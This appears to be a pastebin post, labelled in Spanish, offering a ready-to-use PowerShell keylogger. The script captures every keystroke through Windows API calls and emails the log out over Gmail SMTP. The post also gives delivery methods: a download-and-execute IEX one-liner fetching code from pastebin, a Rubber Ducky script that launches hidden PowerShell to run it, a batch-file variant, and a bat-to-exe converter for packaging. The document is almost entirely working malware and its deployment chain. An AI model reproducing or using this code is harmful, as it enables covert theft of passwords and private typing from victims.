· 6 years ago · Dec 13, 2019, 02:20 PM
1=============================================================================
2----------------------------------------------------------------------------
3 SIMPLE KEYLOGGER ERRO404
4-----------------------------------------------------------------------------
5=============================================================================
6
7
8# Editar solo esta sección!
9$TimeToRun = 2
10$From = "user@gmail.com"
11$Pass = "xxxxxxx"
12$To = "User2@gmail.com"
13$Subject = "Keylogger Results"
14$body = "Keylogger Results"
15$SMTPServer = "smtp.gmail.com"
16$SMTPPort = "587"
17$credentials = new-object Management.Automation.PSCredential $From, ($Pass | ConvertTo-SecureString -AsPlainText -Force)
18############################
19
20
21$TimeStart = Get-Date
22$TimeEnd = $timeStart.addminutes($TimeToRun)
23
24#requires -Version 2
25function Start-KeyLogger($Path="$env:temp\keylogger.txt")
26{
27 # Signatures for API Calls
28 $signatures = @'
29[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
30public static extern short GetAsyncKeyState(int virtualKeyCode);
31[DllImport("user32.dll", CharSet=CharSet.Auto)]
32public static extern int GetKeyboardState(byte[] keystate);
33[DllImport("user32.dll", CharSet=CharSet.Auto)]
34public static extern int MapVirtualKey(uint uCode, int uMapType);
35[DllImport("user32.dll", CharSet=CharSet.Auto)]
36public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
37'@
38
39 # load signatures and make members available
40 $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
41
42 # create output file
43 $null = New-Item -Path $Path -ItemType File -Force
44
45 try
46 {
47
48 # create endless loop. When user presses CTRL+C, finally-block
49 # executes and shows the collected key presses
50 while ($TimeEnd -ge $TimeNow) {
51 Start-Sleep -Milliseconds 40
52
53 # scan all ASCII codes above 8
54 for ($ascii = 9; $ascii -le 254; $ascii++) {
55 # get current key state
56 $state = $API::GetAsyncKeyState($ascii)
57
58 # is key pressed?
59 if ($state -eq -32767) {
60 $null = [console]::CapsLock
61
62 # translate scan code to real code
63 $virtualKey = $API::MapVirtualKey($ascii, 3)
64
65 # get keyboard state for virtual keys
66 $kbstate = New-Object Byte[] 256
67 $checkkbstate = $API::GetKeyboardState($kbstate)
68
69 # prepare a StringBuilder to receive input key
70 $mychar = New-Object -TypeName System.Text.StringBuilder
71
72 # translate virtual key
73 $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
74
75 if ($success)
76 {
77 # add key to logger file
78 [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
79 }
80 }
81 }
82 $TimeNow = Get-Date
83 }
84 }
85 finally
86 {
87 # open logger file in Notepad
88 send-mailmessage -from $from -to $to -subject $Subject -body $body -Attachment $Path -smtpServer $smtpServer -port $SMTPPort -credential $credentials -usessl
89 Remove-Item -Path $Path -force
90 exit 1
91 }
92}
93
94# records all key presses until script is aborted by pressing CTRL+C
95# will then open the file with collected key codes
96Start-KeyLogger
97
98
99---------------------------------------------------------------------------------------
100***************************************************************************************
101---------------------------------------------------------------------------------------
102
103 IEX (New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/')
104
105-----------------------------------------------------------------------------------------
106***************************************************************************************
107-----------------------------------------------------------------------------------------
108
109
110DATOS DEL RUBBER DUCKY
111
112DELAY 1000
113GUI r
114DELAY 100
115STRING powershell -WindowStyle hidden
116ENTER
117DELAY 1000
118STRING IEX (New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/')
119ENTER
120
121
122---------------------------------------------------------------------------------------------
123********************************************************************************************
124---------------------------------------------------------------------------------------------
125
126
127PAGINA EN DONDE SE CARGA EL CODIGO
128
129https://pastebin.com
130
131PAGINA DESCARGA BAT TO EXE
132http://www.battoexeconverter.com/
133
134
135---------------------------------------------------------------------------------------------
136*******************************************************************************************
137--------------------------------------------------------------------------------------------
138
139
140DATOS DEL BAT
141
142powershell -w h -c $h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','https://pastebin.com/raw/',$false);$h.send();iex $h.responseText
143
144
145----------------------------------------------------------------------------------------------
146**********************************************************************************************
147----------------------------------------------------------------------------------------------